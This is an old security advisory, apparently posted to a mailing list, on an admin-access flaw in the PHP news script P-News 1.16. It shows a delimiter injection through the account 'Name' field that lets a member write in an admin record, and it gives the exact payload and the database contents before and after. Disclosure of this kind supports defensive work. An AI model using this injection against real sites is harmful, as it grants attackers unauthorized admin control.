P-News 1.16 Admin Access Vulnerability

["Peter Winter-Smith" <peter4020 () hotmail com>]

Admin Access Vulnerability in P-News 1.6

Url: http://www.ppopn.net

It is possible to gain admin access if you possess a 'Member'
account due to a flaw in the 'p-news.php' file.
You can inject an entire arbitrary account, including all the fields, into 
the 'Name' field, which will push all the restricting details to the far end 
of the data string, not allowing them to be included in the login process.
Below is an example of a normal database:

Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin () ppopn net|-|
Peter|-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter () aol com|-|

Notice the '0' denotes an 'admin' account, and the '2' denotes a 'member' 
account.
Injecting:

Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none () nowhere com|-|

Into the 'Name' field in the edit account information section will give the 
malicious user admin privileges.
The database then looks like:

Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin () ppopn net|-|
Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none () nowhere com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter () 
aol com|-|

================================================================

Operating system and servicepack level:
Windows/Linux/Unix + PHP

Software:
P-News 1.16 (possibly 1.17)

Under what circumstances the vulnerability was discovered:
Under a vulnerability search.

If the vendor has been notified:
The vendor has not been notified because he does not speak English, so much 
confusion may arise.

How to contact you for further information:
I can always be reached at peter4020 () hotmail com

Please credit this find to:
Peter Winter-Smith of Team UEC

Thank you for your time,
-Peter

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